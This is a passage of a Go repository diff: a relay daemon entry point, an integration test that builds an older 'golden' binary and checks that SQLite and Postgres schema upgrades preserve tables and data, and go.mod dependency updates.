|
||||
_ = appUnplugged.Context().Dispose()
|
||||
|
||||
// 2. 插入 Redis 运行
|
||||
appPlugged := newWaveletApp(core.ProfileAll, core.WithConfigValues(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": true,
|
||||
"addrs": []string{mr.Addr()},
|
||||
},
|
||||
}))
|
||||
require.NoError(t, appPlugged.Start(context.Background()))
|
||||
|
||||
cacheSvc2, err := core.Inject[contracts.CacheService](appPlugged.Context())
|
||||
require.NoError(t, err)
|
||||
require.NoError(t, cacheSvc2.Set(context.Background(), fmt.Sprintf("seq_key_%d", i), "seq_val_plugged", time.Minute))
|
||||
|
||||
require.NoError(t, appPlugged.Stop(context.Background()))
|
||||
_ = appPlugged.Context().Dispose()
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Command relay runs the OpenFlare relay node daemon.
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"log/slog"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"Wavelet/core"
|
||||
relayplugin "Wavelet/openflare/plugins/relay"
|
||||
edgelogging "Wavelet/openflare/share/edge/logging"
|
||||
)
|
||||
|
||||
// shutdownTimeout 为 frps 子进程收敛预留的退出窗口。
|
||||
const shutdownTimeout = 60 * time.Second
|
||||
|
||||
func main() {
|
||||
edgelogging.Setup(edgelogging.Options{})
|
||||
|
||||
configPath := flag.String("config", "./relay.json", "relay config path")
|
||||
flag.Parse()
|
||||
|
||||
app := core.NewApp(
|
||||
core.WithProfile(core.Profile(relayplugin.DriverTypeRelay)),
|
||||
core.WithShutdownTimeout(shutdownTimeout),
|
||||
)
|
||||
app.Use(relayplugin.New(*configPath))
|
||||
|
||||
if err := app.Prepare(); err != nil {
|
||||
slog.Error("relay startup failed", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
if err := app.Run(); err != nil {
|
||||
slog.Error("relay process exited with error", "error", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,680 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"Wavelet/core"
|
||||
|
||||
"github.com/glebarez/sqlite"
|
||||
"gorm.io/driver/postgres"
|
||||
"gorm.io/gorm"
|
||||
gormlogger "gorm.io/gorm/logger"
|
||||
)
|
||||
|
||||
const (
|
||||
goldenRoot = "/Users/ryan/Code/Go/OpenFlare"
|
||||
goldCommit = "9f79fb99"
|
||||
goldGooseVersion = int64(202608090003)
|
||||
sampleZoneDomain = "l3-upgrade-golden.example"
|
||||
goldMigrateWait = 75 * time.Second
|
||||
legacyPluginStamp = "openflare/legacy"
|
||||
serverPluginStamp = "server"
|
||||
)
|
||||
|
||||
var (
|
||||
goldBinOnce sync.Once
|
||||
goldBinPath string
|
||||
goldSrcDir string
|
||||
goldBinErr error
|
||||
)
|
||||
|
||||
func TestUpgradeFromGolden(t *testing.T) {
|
||||
t.Run("sqlite", func(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "a.db")
|
||||
runGoldenAPI(t, tmp, goldSQLiteEnv(t, tmp, dbPath), func() bool {
|
||||
return sqliteReady(dbPath)
|
||||
})
|
||||
assertUpgradeFromGolden(t, upgradeDB{
|
||||
sqlitePath: dbPath,
|
||||
source: cordisSQLiteSource(t, dbPath),
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
func TestUpgradePostgresFromGolden(t *testing.T) {
|
||||
dsn := strings.TrimSpace(os.Getenv("TEST_PG_DSN"))
|
||||
if dsn == "" {
|
||||
t.Skip("TEST_PG_DSN is not set")
|
||||
}
|
||||
|
||||
host, port, user, pass, adminDB, sslMode := parsePostgresDSN(t, dsn)
|
||||
adminDSN := postgresDSN(host, port, user, pass, adminDB, sslMode)
|
||||
admin := openInspectDB(t, "", adminDSN)
|
||||
t.Cleanup(func() { _ = admin.Close() })
|
||||
|
||||
dbName := fmt.Sprintf("of_l3_%d", time.Now().UnixNano())
|
||||
if !safePGIdent(dbName) {
|
||||
t.Fatalf("generated database name %q is not a safe identifier", dbName)
|
||||
}
|
||||
if _, err := admin.Exec("CREATE DATABASE " + dbName); err != nil {
|
||||
t.Fatalf("CREATE DATABASE %s: %v", dbName, err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_, _ = admin.Exec(`SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = $1 AND pid <> pg_backend_pid()`, dbName)
|
||||
_, _ = admin.Exec("DROP DATABASE IF EXISTS " + dbName)
|
||||
})
|
||||
|
||||
tmp := t.TempDir()
|
||||
testDSN := postgresDSN(host, port, user, pass, dbName, sslMode)
|
||||
runGoldenAPI(t, tmp, goldPostgresEnv(t, tmp, host, port, user, pass, dbName, sslMode), func() bool {
|
||||
return postgresReady(testDSN)
|
||||
})
|
||||
assertUpgradeFromGolden(t, upgradeDB{
|
||||
pgDSN: testDSN,
|
||||
source: cordisPostgresSource(t, host, port, user, pass, dbName, sslMode),
|
||||
})
|
||||
}
|
||||
|
||||
type upgradeDB struct {
|
||||
sqlitePath string
|
||||
pgDSN string
|
||||
source core.ConfigSource
|
||||
}
|
||||
|
||||
func assertUpgradeFromGolden(t *testing.T, spec upgradeDB) {
|
||||
t.Helper()
|
||||
|
||||
inspect := openInspectDB(t, spec.sqlitePath, spec.pgDSN)
|
||||
before := dumpOfSchema(t, inspect, spec.pgDSN != "")
|
||||
insertSQL := `INSERT INTO of_zones (domain) VALUES (?)`
|
||||
if spec.pgDSN != "" {
|
||||
insertSQL = `INSERT INTO of_zones (domain) VALUES ($1)`
|
||||
}
|
||||
if _, err := inspect.Exec(insertSQL, sampleZoneDomain); err != nil {
|
||||
t.Fatalf("insert sample of_zones row: %v", err)
|
||||
}
|
||||
_ = inspect.Close()
|
||||
|
||||
app := cordisPrepare(t, spec.source)
|
||||
legacyRows := schemaPluginRows(t, spec, legacyPluginStamp)
|
||||
assertStampedUpgrade(t, spec, before, legacyRows)
|
||||
if err := app.Context().Dispose(); err != nil {
|
||||
t.Fatalf("dispose first app: %v", err)
|
||||
}
|
||||
|
||||
app2 := cordisPrepare(t, spec.source)
|
||||
t.Cleanup(func() { _ = app2.Context().Dispose() })
|
||||
if got := schemaPluginRows(t, spec, legacyPluginStamp); got != legacyRows {
|
||||
t.Fatalf("second Prepare increased %s rows: got %d, want %d", legacyPluginStamp, got, legacyRows)
|
||||
}
|
||||
assertStampedUpgrade(t, spec, before, legacyRows)
|
||||
}
|
||||
|
||||
func cordisPrepare(t *testing.T, src core.ConfigSource) *core.App {
|
||||
t.Helper()
|
||||
app := newOpenFlareApp(core.ProfileAPI, core.WithConfigSource(src))
|
||||
if err := app.Prepare(); err != nil {
|
||||
t.Fatalf("Prepare: %v", err)
|
||||
}
|
||||
if err := app.ApplyPlugins(); err != nil {
|
||||
t.Fatalf("ApplyPlugins: %v", err)
|
||||
}
|
||||
if err := app.RunMigrations(); err != nil {
|
||||
t.Fatalf("RunMigrations: %v", err)
|
||||
}
|
||||
return app
|
||||
}
|
||||
|
||||
func assertStampedUpgrade(t *testing.T, spec upgradeDB, before map[string][]string, legacyRows int) {
|
||||
t.Helper()
|
||||
db := openInspectDB(t, spec.sqlitePath, spec.pgDSN)
|
||||
defer func() { _ = db.Close() }()
|
||||
postgres := spec.pgDSN != ""
|
||||
|
||||
if got := gooseMaxVersion(t, db); got != goldGooseVersion {
|
||||
t.Errorf("goose_db_version max = %d, want %d", got, goldGooseVersion)
|
||||
}
|
||||
if legacyRows < 2 {
|
||||
t.Errorf("w_schema_versions %s rows = %d, want at least 2 (0 and %d)", legacyPluginStamp, legacyRows, goldGooseVersion)
|
||||
}
|
||||
if !pluginHasVersion(t, db, postgres, legacyPluginStamp, 0) {
|
||||
t.Errorf("missing w_schema_versions (%s, 0)", legacyPluginStamp)
|
||||
}
|
||||
if !pluginHasVersion(t, db, postgres, legacyPluginStamp, goldGooseVersion) {
|
||||
t.Errorf("missing w_schema_versions (%s, %d)", legacyPluginStamp, goldGooseVersion)
|
||||
}
|
||||
if !pluginHasVersion(t, db, postgres, serverPluginStamp, 1) {
|
||||
t.Errorf("missing w_schema_versions (%s, 1)", serverPluginStamp)
|
||||
}
|
||||
|
||||
var domain string
|
||||
q := `SELECT domain FROM of_zones WHERE domain = ?`
|
||||
if postgres {
|
||||
q = `SELECT domain FROM of_zones WHERE domain = $1`
|
||||
}
|
||||
if err := db.QueryRow(q, sampleZoneDomain).Scan(&domain); err != nil {
|
||||
t.Errorf("sample of_zones row missing after upgrade: %v", err)
|
||||
}
|
||||
|
||||
after := dumpOfSchema(t, db, postgres)
|
||||
for table, cols := range before {
|
||||
got, ok := after[table]
|
||||
if !ok {
|
||||
t.Errorf("of_* table %s dropped", table)
|
||||
continue
|
||||
}
|
||||
have := make(map[string]bool, len(got))
|
||||
for _, c := range got {
|
||||
have[c] = true
|
||||
}
|
||||
for _, c := range cols {
|
||||
if !have[c] {
|
||||
t.Errorf("of_* column %s.%s dropped", table, c)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runGoldenAPI(t *testing.T, workDir string, env []string, ready func() bool) {
|
||||
t.Helper()
|
||||
bin := buildGoldenBinary(t)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), goldMigrateWait)
|
||||
defer cancel()
|
||||
cmd := exec.CommandContext(ctx, bin, "api")
|
||||
cmd.Dir = workDir
|
||||
cmd.Env = env
|
||||
var out bytes.Buffer
|
||||
cmd.Stdout = &out
|
||||
cmd.Stderr = &out
|
||||
if err := cmd.Start(); err != nil {
|
||||
t.Fatalf("start golden api: %v", err)
|
||||
}
|
||||
|
||||
waitErr := make(chan error, 1)
|
||||
go func() { waitErr <- cmd.Wait() }()
|
||||
|
||||
ticker := time.NewTicker(200 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
if ready() {
|
||||
killGolden(cmd)
|
||||
<-waitErr
|
||||
return
|
||||
}
|
||||
select {
|
||||
case err := <-waitErr:
|
||||
if ready() {
|
||||
return
|
||||
}
|
||||
t.Fatalf("golden api exited before goose %d: %v\n%s", goldGooseVersion, err, out.String())
|
||||
case <-ctx.Done():
|
||||
killGolden(cmd)
|
||||
<-waitErr
|
||||
t.Fatalf("timeout waiting for golden goose %d\n%s", goldGooseVersion, out.String())
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func killGolden(cmd *exec.Cmd) {
|
||||
if cmd.Process == nil {
|
||||
return
|
||||
}
|
||||
_ = cmd.Process.Kill()
|
||||
}
|
||||
|
||||
func buildGoldenBinary(t *testing.T) string {
|
||||
t.Helper()
|
||||
goldBinOnce.Do(func() {
|
||||
src, err := os.MkdirTemp("", "of-gold-src-")
|
||||
if err != nil {
|
||||
goldBinErr = err
|
||||
return
|
||||
}
|
||||
archive := exec.Command("git", "-C", goldenRoot, "archive", goldCommit)
|
||||
extract := exec.Command("tar", "-x", "-C", src)
|
||||
pipe, err := archive.StdoutPipe()
|
||||
if err != nil {
|
||||
goldBinErr = fmt.Errorf("gold archive pipe: %w", err)
|
||||
return
|
||||
}
|
||||
extract.Stdin = pipe
|
||||
var archiveErr, extractErr bytes.Buffer
|
||||
archive.Stderr = &archiveErr
|
||||
extract.Stderr = &extractErr
|
||||
if err := archive.Start(); err != nil {
|
||||
goldBinErr = fmt.Errorf("git archive %s: %w", goldCommit, err)
|
||||
return
|
||||
}
|
||||
if err := extract.Start(); err != nil {
|
||||
_ = archive.Process.Kill()
|
||||
goldBinErr = fmt.Errorf("extract gold %s: %w", goldCommit, err)
|
||||
return
|
||||
}
|
||||
if err := extract.Wait(); err != nil {
|
||||
_ = archive.Wait()
|
||||
goldBinErr = fmt.Errorf("extract gold %s: %w\n%s", goldCommit, err, extractErr.String())
|
||||
return
|
||||
}
|
||||
if err := archive.Wait(); err != nil {
|
||||
goldBinErr = fmt.Errorf("git archive %s: %w\n%s", goldCommit, err, archiveErr.String())
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(src, "main.go")); err != nil {
|
||||
goldBinErr = fmt.Errorf("gold %s at %s: %w", goldCommit, src, err)
|
||||
return
|
||||
}
|
||||
goldSrcDir = src
|
||||
|
||||
dir, err := os.MkdirTemp("", "of-gold-bin-")
|
||||
if err != nil {
|
||||
goldBinErr = err
|
||||
return
|
||||
}
|
||||
out := filepath.Join(dir, "gold")
|
||||
cmd := exec.Command("go", "build", "-o", out, ".")
|
||||
cmd.Dir = src
|
||||
var buf bytes.Buffer
|
||||
cmd.Stdout = &buf
|
||||
cmd.Stderr = &buf
|
||||
if err := cmd.Run(); err != nil {
|
||||
goldBinErr = fmt.Errorf("go build golden %s: %w\n%s", goldCommit, err, buf.String())
|
||||
return
|
||||
}
|
||||
goldBinPath = out
|
||||
})
|
||||
if goldBinErr != nil {
|
||||
t.Fatalf("%v", goldBinErr)
|
||||
}
|
||||
return goldBinPath
|
||||
}
|
||||
|
||||
func copyGoldConfig(t *testing.T, dir string) string {
|
||||
t.Helper()
|
||||
buildGoldenBinary(t)
|
||||
dst := filepath.Join(dir, "config.yaml")
|
||||
src, err := os.Open(filepath.Join(goldSrcDir, "config.example.yaml")) //nolint:gosec // extracted gold snapshot
|
||||
if err != nil {
|
||||
t.Fatalf("open golden config.example.yaml: %v", err)
|
||||
}
|
||||
defer func() { _ = src.Close() }()
|
||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o600) //nolint:gosec // test temp file
|
||||
if err != nil {
|
||||
t.Fatalf("create temp config.yaml: %v", err)
|
||||
}
|
||||
if _, err := io.Copy(out, src); err != nil {
|
||||
_ = out.Close()
|
||||
t.Fatalf("copy golden config: %v", err)
|
||||
}
|
||||
if err := out.Close(); err != nil {
|
||||
t.Fatalf("close temp config.yaml: %v", err)
|
||||
}
|
||||
return dst
|
||||
}
|
||||
|
||||
func goldSQLiteEnv(t *testing.T, dir, dbPath string) []string {
|
||||
t.Helper()
|
||||
cfg := copyGoldConfig(t, dir)
|
||||
addr := freeLocalAddr(t)
|
||||
return filteredGoldEnv(
|
||||
"CONFIG_PATH="+cfg,
|
||||
"SQLITE_PATH="+dbPath,
|
||||
"DB_ENABLED=false",
|
||||
"REDIS_ENABLED=false",
|
||||
"CLICKHOUSE_ENABLED=false",
|
||||
"APP_ENV=testing",
|
||||
"APP_ADDR="+addr,
|
||||
)
|
||||
}
|
||||
|
||||
func goldPostgresEnv(t *testing.T, dir, host string, port int, user, pass, dbName, sslMode string) []string {
|
||||
t.Helper()
|
||||
cfg := copyGoldConfig(t, dir)
|
||||
addr := freeLocalAddr(t)
|
||||
return filteredGoldEnv(
|
||||
"CONFIG_PATH="+cfg,
|
||||
"DB_ENABLED=true",
|
||||
"DB_HOST="+host,
|
||||
"DB_PORT="+strconv.Itoa(port),
|
||||
"DB_USERNAME="+user,
|
||||
"DB_PASSWORD="+pass,
|
||||
"DB_NAME="+dbName,
|
||||
"DB_SSL_MODE="+sslMode,
|
||||
"REDIS_ENABLED=false",
|
||||
"CLICKHOUSE_ENABLED=false",
|
||||
"APP_ENV=testing",
|
||||
"APP_ADDR="+addr,
|
||||
)
|
||||
}
|
||||
|
||||
func filteredGoldEnv(extra ...string) []string {
|
||||
drop := map[string]bool{
|
||||
"CONFIG_PATH": true,
|
||||
"SQLITE_PATH": true,
|
||||
"DB_ENABLED": true,
|
||||
"DB_HOST": true,
|
||||
"DB_PORT": true,
|
||||
"DB_USERNAME": true,
|
||||
"DB_PASSWORD": true,
|
||||
"DB_NAME": true,
|
||||
"DB_SSL_MODE": true,
|
||||
"REDIS_ENABLED": true,
|
||||
"REDIS_ADDR": true,
|
||||
"CLICKHOUSE_ENABLED": true,
|
||||
"CLICKHOUSE_HOST": true,
|
||||
"APP_ENV": true,
|
||||
"APP_ADDR": true,
|
||||
}
|
||||
env := make([]string, 0, len(os.Environ())+len(extra))
|
||||
for _, kv := range os.Environ() {
|
||||
k, _, _ := strings.Cut(kv, "=")
|
||||
if drop[k] {
|
||||
continue
|
||||
}
|
||||
env = append(env, kv)
|
||||
}
|
||||
return append(env, extra...)
|
||||
}
|
||||
|
||||
func freeLocalAddr(t *testing.T) string {
|
||||
t.Helper()
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen for free port: %v", err)
|
||||
}
|
||||
addr := ln.Addr().String()
|
||||
_ = ln.Close()
|
||||
return addr
|
||||
}
|
||||
|
||||
func cordisSQLiteSource(t *testing.T, dbPath string) core.ConfigSource {
|
||||
t.Helper()
|
||||
return core.NewMapSource(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
"env": "testing",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
"clickhouse": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
"database": map[string]any{
|
||||
"enabled": false,
|
||||
"sqlite_path": dbPath,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func cordisPostgresSource(t *testing.T, host string, port int, user, pass, dbName, sslMode string) core.ConfigSource {
|
||||
t.Helper()
|
||||
return core.NewMapSource(map[string]any{
|
||||
"app": map[string]any{
|
||||
"addr": "127.0.0.1:0",
|
||||
"env": "testing",
|
||||
},
|
||||
"redis": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
"clickhouse": map[string]any{
|
||||
"enabled": false,
|
||||
},
|
||||
"database": map[string]any{
|
||||
"enabled": true,
|
||||
"host": host,
|
||||
"port": port,
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"database": dbName,
|
||||
"ssl_mode": sslMode,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func sqliteReady(path string) bool {
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
return false
|
||||
}
|
||||
gdb, err := gorm.Open(sqlite.Open("file:"+path+"?mode=ro&_pragma=busy_timeout(1000)"), &gorm.Config{Logger: gormlogger.Default.LogMode(gormlogger.Silent)})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
sqlDB, err := gdb.DB()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = sqlDB.Close() }()
|
||||
return migratedReady(sqlDB, false)
|
||||
}
|
||||
|
||||
func postgresReady(dsn string) bool {
|
||||
gdb, err := gorm.Open(postgres.Open(dsn), &gorm.Config{Logger: gormlogger.Default.LogMode(gormlogger.Silent)})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
sqlDB, err := gdb.DB()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = sqlDB.Close() }()
|
||||
return migratedReady(sqlDB, true)
|
||||
}
|
||||
|
||||
func migratedReady(db *sql.DB, postgres bool) bool {
|
||||
if gooseMaxVersionSilent(db) != goldGooseVersion {
|
||||
return false
|
||||
}
|
||||
var n int
|
||||
var err error
|
||||
if postgres {
|
||||
err = db.QueryRow(`SELECT COUNT(*) FROM information_schema.tables WHERE table_schema = 'public' AND table_name = 'of_nodes'`).Scan(&n)
|
||||
} else {
|
||||
err = db.QueryRow(`SELECT COUNT(*) FROM sqlite_master WHERE type = 'table' AND name = 'of_nodes'`).Scan(&n)
|
||||
}
|
||||
return err == nil && n > 0
|
||||
}
|
||||
|
||||
func openInspectDB(t *testing.T, sqlitePath, pgDSN string) *sql.DB {
|
||||
t.Helper()
|
||||
var gdb *gorm.DB
|
||||
var err error
|
||||
if pgDSN != "" {
|
||||
gdb, err = gorm.Open(postgres.Open(pgDSN), &gorm.Config{Logger: gormlogger.Default.LogMode(gormlogger.Silent)})
|
||||
} else {
|
||||
gdb, err = gorm.Open(sqlite.Open(sqlitePath), &gorm.Config{Logger: gormlogger.Default.LogMode(gormlogger.Silent)})
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("open inspect db: %v", err)
|
||||
}
|
||||
sqlDB, err := gdb.DB()
|
||||
if err != nil {
|
||||
t.Fatalf("inspect sql.DB: %v", err)
|
||||
}
|
||||
return sqlDB
|
||||
}
|
||||
|
||||
func dumpOfSchema(t *testing.T, db *sql.DB, postgres bool) map[string][]string {
|
||||
t.Helper()
|
||||
tables := ofTables(t, db, postgres)
|
||||
out := make(map[string][]string, len(tables))
|
||||
for _, table := range tables {
|
||||
out[table] = ofColumns(t, db, postgres, table)
|
||||
}
|
||||
if len(out) == 0 {
|
||||
t.Fatal("no of_* tables in golden database")
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ofTables(t *testing.T, db *sql.DB, postgres bool) []string {
|
||||
t.Helper()
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
if postgres {
|
||||
rows, err = db.Query(`SELECT tablename FROM pg_tables WHERE schemaname = 'public' AND tablename LIKE 'of_%' ORDER BY tablename`)
|
||||
} else {
|
||||
rows, err = db.Query(`SELECT name FROM sqlite_master WHERE type = 'table' AND name LIKE 'of_%' ORDER BY name`)
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("list of_* tables: %v", err)
|
||||
}
|
||||
defer func() { _ = rows.Close() }()
|
||||
var tables []string
|
||||
for rows.Next() {
|
||||
var name string
|
||||
if err := rows.Scan(&name); err != nil {
|
||||
t.Fatalf("scan of_* table: %v", err)
|
||||
}
|
||||
tables = append(tables, name)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
t.Fatalf("list of_* tables: %v", err)
|
||||
}
|
||||
return tables
|
||||
}
|
||||
|
||||
func ofColumns(t *testing.T, db *sql.DB, postgres bool, table string) []string {
|
||||
t.Helper()
|
||||
var rows *sql.Rows
|
||||
var err error
|
||||
if postgres {
|
||||
rows, err = db.Query(`SELECT column_name FROM information_schema.columns WHERE table_schema = 'public' AND table_name = $1 ORDER BY ordinal_position`, table)
|
||||
} else {
|
||||
rows, err = db.Query(`SELECT name FROM pragma_table_info(?)`, table)
|
||||
}
|
||||
if err != nil {
|
||||
t.Fatalf("list columns for %s: %v", table, err)
|
||||
}
|
||||
defer func() { _ = rows.Close() }()
|
||||
var cols []string
|
||||
for rows.Next() {
|
||||
var name string
|
||||
if err := rows.Scan(&name); err != nil {
|
||||
t.Fatalf("scan column for %s: %v", table, err)
|
||||
}
|
||||
cols = append(cols, name)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
t.Fatalf("list columns for %s: %v", table, err)
|
||||
}
|
||||
return cols
|
||||
}
|
||||
|
||||
func gooseMaxVersion(t *testing.T, db *sql.DB) int64 {
|
||||
t.Helper()
|
||||
v := gooseMaxVersionSilent(db)
|
||||
if v < 0 {
|
||||
t.Fatal("read goose_db_version max failed")
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func gooseMaxVersionSilent(db *sql.DB) int64 {
|
||||
var v int64
|
||||
if err := db.QueryRow(`SELECT COALESCE(MAX(version_id), 0) FROM goose_db_version`).Scan(&v); err != nil {
|
||||
return -1
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func schemaPluginRows(t *testing.T, spec upgradeDB, pluginID string) int {
|
||||
t.Helper()
|
||||
db := openInspectDB(t, spec.sqlitePath, spec.pgDSN)
|
||||
defer func() { _ = db.Close() }()
|
||||
q := `SELECT COUNT(*) FROM w_schema_versions WHERE plugin_id = ?`
|
||||
if spec.pgDSN != "" {
|
||||
q = `SELECT COUNT(*) FROM w_schema_versions WHERE plugin_id = $1`
|
||||
}
|
||||
var n int
|
||||
if err := db.QueryRow(q, pluginID).Scan(&n); err != nil {
|
||||
t.Fatalf("count w_schema_versions %s: %v", pluginID, err)
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func pluginHasVersion(t *testing.T, db *sql.DB, postgres bool, pluginID string, version int64) bool {
|
||||
t.Helper()
|
||||
q := `SELECT COUNT(*) FROM w_schema_versions WHERE plugin_id = ? AND version_id = ?`
|
||||
if postgres {
|
||||
q = `SELECT COUNT(*) FROM w_schema_versions WHERE plugin_id = $1 AND version_id = $2`
|
||||
}
|
||||
var n int
|
||||
if err := db.QueryRow(q, pluginID, version).Scan(&n); err != nil {
|
||||
t.Fatalf("lookup w_schema_versions (%s, %d): %v", pluginID, version, err)
|
||||
}
|
||||
return n > 0
|
||||
}
|
||||
|
||||
func parsePostgresDSN(t *testing.T, dsn string) (host string, port int, user, pass, dbName, sslMode string) {
|
||||
t.Helper()
|
||||
u, err := url.Parse(dsn)
|
||||
if err != nil {
|
||||
t.Fatalf("TEST_PG_DSN: %v", err)
|
||||
}
|
||||
host = u.Hostname()
|
||||
if host == "" {
|
||||
host = "127.0.0.1"
|
||||
}
|
||||
port = 5432
|
||||
if p := u.Port(); p != "" {
|
||||
port, err = strconv.Atoi(p)
|
||||
if err != nil {
|
||||
t.Fatalf("TEST_PG_DSN port: %v", err)
|
||||
}
|
||||
}
|
||||
if u.User != nil {
|
||||
user = u.User.Username()
|
||||
pass, _ = u.User.Password()
|
||||
}
|
||||
dbName = strings.Trim(u.Path, "/")
|
||||
if dbName == "" {
|
||||
dbName = "postgres"
|
||||
}
|
||||
sslMode = u.Query().Get("sslmode")
|
||||
if sslMode == "" {
|
||||
sslMode = "disable"
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func postgresDSN(host string, port int, user, pass, dbName, sslMode string) string {
|
||||
u := &url.URL{
|
||||
Scheme: "postgres",
|
||||
Host: net.JoinHostPort(host, strconv.Itoa(port)),
|
||||
Path: dbName,
|
||||
}
|
||||
if user != "" {
|
||||
u.User = url.UserPassword(user, pass)
|
||||
}
|
||||
q := url.Values{}
|
||||
q.Set("sslmode", sslMode)
|
||||
u.RawQuery = q.Encode()
|
||||
return u.String()
|
||||
}
|
||||
|
||||
var pgIdent = regexp.MustCompile(`^[a-z_][a-z0-9_]*$`)
|
||||
|
||||
func safePGIdent(name string) bool {
|
||||
return pgIdent.MatchString(name)
|
||||
}
|
||||
+13488
-171
File diff suppressed because it is too large
Load Diff
+13488
-171
File diff suppressed because it is too large
Load Diff
+8360
-118
File diff suppressed because it is too large
Load Diff
+47
-33
@@ -10,12 +10,16 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.35
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.34
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.106.5
|
||||
github.com/bodgit/sevenzip v1.6.5
|
||||
github.com/bwmarrin/snowflake v0.3.0
|
||||
github.com/coreos/go-oidc/v3 v3.20.0
|
||||
github.com/deepteams/webp v1.2.7
|
||||
github.com/dgraph-io/ristretto/v2 v2.4.2
|
||||
github.com/expr-lang/expr v1.17.8
|
||||
github.com/gin-contrib/sessions v1.1.0
|
||||
github.com/gin-gonic/gin v1.12.0
|
||||
github.com/glebarez/sqlite v1.11.0
|
||||
github.com/go-acme/lego/v4 v4.35.2
|
||||
github.com/go-jose/go-jose/v4 v4.1.4
|
||||
github.com/google/go-cmp v0.7.0
|
||||
github.com/google/uuid v1.6.0
|
||||
@@ -23,6 +27,7 @@ require (
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
github.com/hibiken/asynq v0.26.0
|
||||
github.com/maypok86/otter/v2 v2.3.0
|
||||
github.com/oschwald/maxminddb-golang v1.13.1
|
||||
github.com/peterbourgon/diskv/v3 v3.0.1
|
||||
github.com/pressly/goose/v3 v3.27.3
|
||||
github.com/redis/go-redis/extra/redisotel/v9 v9.22.0
|
||||
@@ -37,7 +42,9 @@ require (
|
||||
github.com/swaggo/gin-swagger v1.6.1
|
||||
github.com/swaggo/swag v1.16.6
|
||||
github.com/tencent-connect/botgo v0.2.1
|
||||
github.com/ulikunitz/xz v0.5.16
|
||||
github.com/uptrace/opentelemetry-go-extra/otelzap v0.3.2
|
||||
github.com/yuin/gopher-lua v1.1.2
|
||||
go.opentelemetry.io/contrib/instrumentation/github.com/gin-gonic/gin/otelgin v0.70.0
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.70.0
|
||||
go.opentelemetry.io/otel v1.45.0
|
||||
@@ -48,6 +55,7 @@ require (
|
||||
golang.org/x/crypto v0.54.0
|
||||
golang.org/x/image v0.44.0
|
||||
golang.org/x/mod v0.38.0
|
||||
golang.org/x/net v0.57.0
|
||||
golang.org/x/oauth2 v0.36.0
|
||||
golang.org/x/sync v0.22.0
|
||||
gopkg.in/natefinch/lumberjack.v2 v2.2.1
|
||||
@@ -57,7 +65,7 @@ require (
|
||||
gorm.io/driver/sqlite v1.6.0
|
||||
gorm.io/gorm v1.31.2
|
||||
gorm.io/plugin/dbresolver v1.6.2
|
||||
gorm.io/plugin/opentelemetry v0.1.14
|
||||
gorm.io/plugin/opentelemetry v0.1.16
|
||||
)
|
||||
|
||||
require (
|
||||
@@ -79,48 +87,51 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.38.4 // indirect
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.45.4 // indirect
|
||||
github.com/aws/smithy-go v1.27.6 // indirect
|
||||
github.com/boj/redistore v1.4.1 // indirect
|
||||
github.com/bodgit/plumbing v1.3.0 // indirect
